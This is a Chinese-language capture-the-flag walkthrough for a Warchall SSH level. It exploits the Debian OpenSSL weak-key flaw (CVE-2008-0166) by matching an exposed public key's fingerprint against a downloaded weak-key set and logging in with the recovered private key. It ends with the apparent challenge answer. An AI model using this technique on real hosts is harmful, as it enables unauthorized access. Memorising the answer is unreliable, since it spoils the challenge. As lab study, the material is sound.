WeChall - SSH... Z is sleeping

Challenge

Warchall level8:Z 睡着了,SSH key 暴露在 /home/level/08_sshz/backups/。目标是找到对应私钥,以 level08 登录。

Solution

这题利用 Debian OpenSSL 弱密钥漏洞(2008 年 CVE-2008-0166)。Debian 的 OpenSSL 包因注释掉 md_rand.c 中两行 MD_Update(&m,buf,j),导致 PRNG 仅以进程 PID 作为随机种子,可能的密钥只有 32768 种。

Step 1: 获取 public key

1
2
3
# 从 Warchall 服务器读取公钥
$ cat /home/level/08_sshz/backups/authorized_keys.backup
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDLbM20VLy+Bf7fjHk...

Step 2: 计算 MD5 fingerprint

1
2
$ ssh-keygen -l -E md5 -f authorized_keys.backup
2048 MD5:2b:cd:07:a7:01:e9:4a:04:74:d7:7e:e4:d6:d0:f8:06 ...

Step 3: 在 Debian weak key 集中匹配

下载已知弱密钥集合。原 ANSSI-FR 仓库已被删除,可使用 g0tmi1k 维护的镜像:

1
2
3
4
5
6
7
8
9
10
# 克隆镜像(如已有关键集合可跳过)
$ git clone https://github.com/g0tmi1k/debian-ssh
$ cd debian-ssh

# 解压 RSA 2048 位 SSH 密钥
$ tar -xjf common_keys/debian_ssh_rsa_2048_x86.tar.bz2

# 去掉冒号搜索指纹文件名
$ find rsa/ -name '*2bcd07a701e94a0474d77ee4d6d0f806*'
rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669

指纹对应 PID 23669 的 RSA 2048 位密钥。

说明: 该 key set 的文件名格式为 <fingerprint_hex>-<PID>,因此直接 find 匹配指纹(去除冒号)即可定位,无需逐 key 计算。

Step 4: SSH 登录

1
2
$ ssh -i rsa/2048/2bcd07a701e94a0474d77ee4d6d0f806-23669 \
level08@warchall.net -p 19198

注意:用户是 level08,不是 z;使用 -i 指定密钥文件。端口 19198 是 Warchall SSH 服务端口。

PrivateKeysAreGold